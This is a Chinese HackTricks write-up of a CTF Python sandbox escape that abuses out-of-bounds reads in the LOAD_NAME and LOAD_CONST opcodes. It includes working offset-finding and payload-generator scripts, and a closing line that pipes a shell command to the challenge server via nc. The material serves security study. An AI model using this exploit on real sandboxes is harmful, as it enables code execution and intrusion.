10 KiB
LOAD_NAME / LOAD_CONST opcode OOB Read
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
这些信息来自这篇文章。
TL;DR
我们可以利用LOAD_NAME / LOAD_CONST操作码中的OOB读取功能来获取内存中的某些符号。这意味着使用类似于(a, b, c, ... 数百个符号 ..., __getattribute__) if [] else [].__getattribute__(...)
的技巧来获取所需的符号(例如函数名)。
然后只需编写你的攻击代码。
概述
源代码非常简短,只有4行!
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
您可以输入任意的Python代码,并且它将被编译为Python代码对象。然而,在对该代码对象进行eval之前,该代码对象的co_consts
和co_names
将被替换为空元组。
因此,所有包含常量(例如数字、字符串等)或名称(例如变量、函数)的表达式可能会导致最终的分段错误。
越界读取
分段错误是如何发生的?
让我们从一个简单的例子开始,[a, b, c]
可以编译成以下字节码。
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
但是如果co_names
变成空元组呢?LOAD_NAME 2
操作码仍然会被执行,并尝试从原本应该存在的内存地址读取值。是的,这是一种越界读取的“特性”。
解决方案的核心概念很简单。CPython中的一些操作码,例如LOAD_NAME
和LOAD_CONST
,容易受到越界读取的影响。
它们从consts
或names
元组中的索引oparg
检索对象(这就是co_consts
和co_names
在底层的命名方式)。我们可以参考下面关于LOAD_CONST
的简短片段,了解CPython在处理LOAD_CONST
操作码时的操作。
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
通过这种方式,我们可以利用OOB功能从任意内存偏移获取一个“name”。为了确保它的名称和偏移量,只需不断尝试LOAD_NAME 0
,LOAD_NAME 1
... LOAD_NAME 99
... 然后你可能会在oparg > 700附近找到一些东西。当然,你也可以尝试使用gdb来查看内存布局,但我认为这样做可能不会更容易。
生成攻击代码
一旦我们获取了那些有用的名称/常量的偏移量,我们如何从该偏移量获取一个名称/常量并使用它呢?这里有一个技巧:
假设我们可以从偏移量5 (LOAD_NAME 5
) 中获取一个__getattribute__
名称,并且co_names=()
,然后只需执行以下操作:
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
注意,不必将其命名为
__getattribute__
,您可以将其命名为更短或更奇怪的名称
您可以通过查看其字节码来理解其原因:
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
注意,LOAD_ATTR
还会从 co_names
中检索名称。如果名称相同,Python 会从相同的偏移量加载名称,因此第二个 __getattribute__
仍然从偏移量 5 加载。利用这个特性,一旦名称在附近的内存中,我们就可以使用任意名称。
生成数字应该很简单:
Exploit Script
由于长度限制,我没有使用常量。
首先,这是一个用于查找这些名称偏移量的脚本。
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
以下是生成真正的Python漏洞利用代码的步骤。
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
基本上,它执行以下操作,对于我们从__dir__
方法获取的字符串:
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或者 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和 hacktricks-cloud repo 提交PR来分享你的黑客技巧。